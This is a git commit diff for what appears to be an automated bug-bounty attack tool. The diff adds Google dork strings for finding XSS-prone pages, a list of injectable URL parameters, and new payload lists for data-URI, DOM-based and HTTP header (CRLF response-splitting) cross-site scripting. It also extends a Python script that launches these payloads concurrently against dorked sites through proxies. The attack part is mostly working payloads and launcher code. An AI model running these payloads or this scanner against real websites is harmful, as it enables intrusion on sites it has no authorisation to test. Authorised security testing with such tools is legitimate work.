fix bugs + improve xss

README.md

@@ -173,4 +173,5 @@ Also watch module for more specfic TODOs:
 | /_admrus/ /_admrusr/ /publicite/www/delivery/ 
 | /signaler-contenu-illicite.html* /desabo/ /optins/preferences/ /php/ /php/ajax/* 
 | /feuilletables/ /iframe/ /newsletters/ 
-|_/jeu-nouveau-rustica-bien-etre/ /concours/ /popunder/ /popup/
+|_/jeu-nouveau-rustica-bien-etre/ /concours/ /popunder/ /popup/
+* https://github.com/dwisiswant0/findom-xss/blob/master/findom-xss.sh

bounty_drive/attacks/dorks/google/xss/XSS-Dork.txt

@@ -104,4 +104,4 @@ intext:"<a href='#' onclick='
 intext:"<div onmouseover=
 intext:"<img src='x' onerror=
 intext:"<input type='text' onblur=
-intext:"<select onchange='
+intext:"<select onchange='

bounty_drive/attacks/dorks/google/xss/xss-parameters.txt

@@ -23,3 +23,43 @@
 ?login=
 ?begindate=
 ?enddate=
+?id=
+?url=
+?search=
+?query=
+?cmd=
+?z=
+?q=
+?l=
+?r=
+?searchstring=
+?keyword=­
+?file=
+?years=
+?txt=
+?tag=
+?max=
+?from=
+?author=
+?pass=
+?feedback­=
+?mail=
+?cat=
+?vote=
+?sid=
+?msg=
+?category=
+?PID= 
+?search_keywords=
+?mid=
+?catid=
+?pid=
+?order_direction=
+?course_id=
+?session=
+?sfunction=
+?search_keywords=
+?site=
+?errmsg=
+?decl_id=
+?num=

bounty_drive/attacks/xss/payloads/dcp-xss-payload-list.txt

@@ -0,0 +1,16 @@
+<a href="data:text/html;base64,[B64]%3cscript%3ealert("PAYLOAD");history.back();%3c/script%3e"></a>[B64]
+<iframe src="data:text/html;base64,[B64]%3cscript%3ealert("PAYLOAD");history.back();%3c/script%3e"></[B64]
+0?<script>Worker("#").onmessage=function(_)eval(_.data)</script> :postMessage(importScripts('data:;base64,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]'))
+<a href="data:application/x-x509-user-cert;&NewLine;base64&NewLine;,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]"&#09;&#10;&#11;>Y</a
+<EMBED SRC="data:image/svg+xml;base64,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
+<embed src="data:text/html;base64,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]"></embed>
+<iframe/src="data:text/html;&Tab;base64&Tab;,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]">
+<META HTTP-EQUIV="refresh" CONTENT="0;url=data:image/svg+xml; base64,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]">
+"><META HTTP-EQUIV="refresh" CONTENT="0;url=data:image/svg+xml; base64,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]">
+<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html; base64,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]">
+<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html;base64,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]">
+"><META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html; base64,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]">
+<META HTTP-EQUIV="refresh" CONTENT="0;url=data:text/html base64,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]">
+<object data="data:text/html;base64,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]"></object>
+<object data=data:text/html;base64,[B64]<script>alert("PAYLOAD");history.back();</script>[B64]></object>​
+data:image/svg+xml;base64,[B64]<svg xmlns:svg="http://www.w3.org/2000/svg" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.0" x="0" y="0" width="194" height="200" id="Y"><script type="text/ecmascript">alert("PAYLOAD");</script></svg>[B64]

bounty_drive/attacks/xss/payloads/dom-xss-payload-list.txt

@@ -1,3 +1,17 @@
+Y#<script>alert('PAYLOAD')</script>
+Y#<%<!--'%><script>alert(PAYLOAD);</script -->
+Y#<script ^__^>alert(PAYLOAD)</script ^__^
+Y#<script src="data:text/javascript,alert(PAYLOAD)"></script>
+Y#<script>+-+-1-+-+alert(PAYLOAD)</script>
+Y#<script x> alert(PAYLOAD) </script 1=2
+Y#<script>a=eval;b=alert;a(b(/ PAYLOAD/.source));</script>'">
+Y#<script/y~~~>;alert(PAYLOAD);</script/Y~~~>
+Y#%00“><script>alert(PAYLOAD)</script>
+Y#%22%3E%3Cscript%3Ealert(PAYLOAD)%3B%3C%2Fscript%3E
+Y#%3Cscript%3Ealert(PAYLOAD)%3B%3C%2Fscript%3E
+Y#`"><%3Cscript>javascript:alert(PAYLOAD)</script>
+Y#%3Cscript>javascript:alert(PAYLOAD)</script>
+Y#<SCRIPT>a=/PAYLOAD/alert(a.source)</SCRIPT>
 "-prompt(8)-"
 '-prompt(8)-'
 ";a=prompt,a()//

bounty_drive/attacks/xss/payloads/http-header-xss-payload-list.txt

@@ -0,0 +1,11 @@
+%0d%0AContent-Length:%200%0d%0A%0d%0AHTTP/1.1%20200%20OK%0d%0AContent-Length:%2016%0d%0A%0d%0A<html>PAYLOAD</html>
+PAYLOAD%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-Type:%20text/html%0d%0aContent-Length:%2029%0d%0a%0d%0a<script>alert("PAYLOAD")</script>
+%0D%0ASet-Cookie%3APAYLOAD
+%0AContent-Type:html%0A%0A%3Cbody%20onload=alert(%22PAYLOAD%22)%3E
+%0AContent-Type:text/html%0A%0A%3Cscript%3Ealert(%22PAYLOAD%22)%3C/script%3Ehttp://www.test.com
+%0AContent-type:%20html%0A%0Ahttp://www.test.com/%3Cscript%3Ealert(%22PAYLOAD%22)%3C/script%3E
+%0AExpect:%20%3Cscript%3Ealert(%22PAYLOAD%22)%3C/script%3E
+%0d%0aContent-Type: text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aLast-Modified: Wed, 13 Jan 2006 12:44:23 GMT%0d%0aContent-Type:text/html%0d%0a%0d%0a<html>PAYLOAD</html>%20HTTP/1.1
+%0d%0aContent-Type: text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aCache-Control: no-cache%0d%0aContent-Type: text/html%0d%0a%0d%0a<html>PAYLOAD</html>%20HTTP/1.1
+%0d%0aContent-Type: text/html%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aPragma:no-cache%0d%0aContent-Type: text/html%0d%0a%0d%0a<html>PAYLOAD</html>%20HTTP/1.1
+%0d%0AContent-Type: text/html;charset=UTF-7%0A%0A%2BADw-script%2BAD4-alert('PAYLOAD');%2BADw-/script%2BAD4-

bounty_drive/attacks/xss/xss.py

@@ -59,6 +59,7 @@ def test_xss_target(url, proxy, config, dork_id, link_id, attack_id):
         "Accept-Encoding": "gzip,deflate",
         "Connection": "close",
         "cache-control": "max-age=0",
+        "Referer": "127.0.0.1",
         "DNT": "1",
         "Upgrade-Insecure-Requests": "1",
     }
@@ -195,22 +196,44 @@ def launch_xss_attack(config):
                 scheme = urlparse(website).scheme
                 host = urlparse(website).netloc
                 main_url = scheme + "://" + host
-                print(f"Main URL: {main_url}")
-                print(f"Forms: {forms}")
-                print(f"DOM URLS: {domUrls}")
-                print(f"zip(forms, domUrls): {list(zip(forms, domUrls))}")
-                for form, domURL in list(zip(forms, domUrls)):
-                    search_tasks_with_proxy.append(
-                        {
-                            "main_url": main_url,
-                            "form": form,
-                            "scheme": scheme,
-                            "host": host,
-                            "domURLs": domURL,
-                            "proxy": proxy,
-                        }
+                if main_url != "://":
+                    cprint(
+                        f"Main URL: {main_url}",
+                        color="yellow",
+                        file=sys.stderr,
                     )
+                    cprint(
+                        f"Forms: {forms}",
+                        color="yellow",
+                        file=sys.stderr,
+                    )
+                    cprint(
+                        f"DOM URLS: {domUrls}",
+                        color="yellow",
+                        file=sys.stderr,
+                    )
+                    cprint(
+                        f"zip(forms, domUrls): {list(zip(forms, domUrls))}",
+                        color="yellow",
+                        file=sys.stderr,
+                    )
+                    for form, domURL in list(zip(forms, domUrls)):
+                        search_tasks_with_proxy.append(
+                            {
+                                "main_url": main_url,
+                                "form": form,
+                                "scheme": scheme,
+                                "host": host,
+                                "domURLs": domURL,
+                                "proxy": proxy,
+                            }
+                        )
 
+            search_tasks_with_proxy = [
+                i
+                for n, i in enumerate(search_tasks_with_proxy)
+                if i not in search_tasks_with_proxy[n + 1 :]
+            ]
             cprint(
                 f"Total XSS Targets: {len(search_tasks_with_proxy)}",
                 color="yellow",
@@ -224,6 +247,20 @@ def launch_xss_attack(config):
                 with open("attacks/xss/payloads/blind-xss-payload-list.txt", "r") as f:
                     blindPayloads = f.readlines()
 
+                domPayloads = []
+                with open("attacks/xss/payloads/dom-xss-payload-list.txt", "r") as f:
+                    domPayloads = f.readlines()
+
+                dcpPayloads = []
+                with open("attacks/xss/payloads/dcp-xss-payload-list.txt", "r") as f:
+                    dcpPayloads = f.readlines()
+
+                httpPayloads = []
+                with open(
+                    "attacks/xss/payloads/http-header-xss-payload-list.txt", "r"
+                ) as f:
+                    httpPayloads = f.readlines()
+
                 encoding = base64_encoder if config["encode_xss"] else False
                 with concurrent.futures.ThreadPoolExecutor(
                     max_workers=number_of_worker
@@ -236,6 +273,9 @@ def launch_xss_attack(config):
                             task["main_url"],
                             task["form"],
                             blindPayloads,
+                            dcpPayloads,
+                            httpPayloads,
+                            domPayloads,
                             encoding,
                             config,
                             task["proxy"],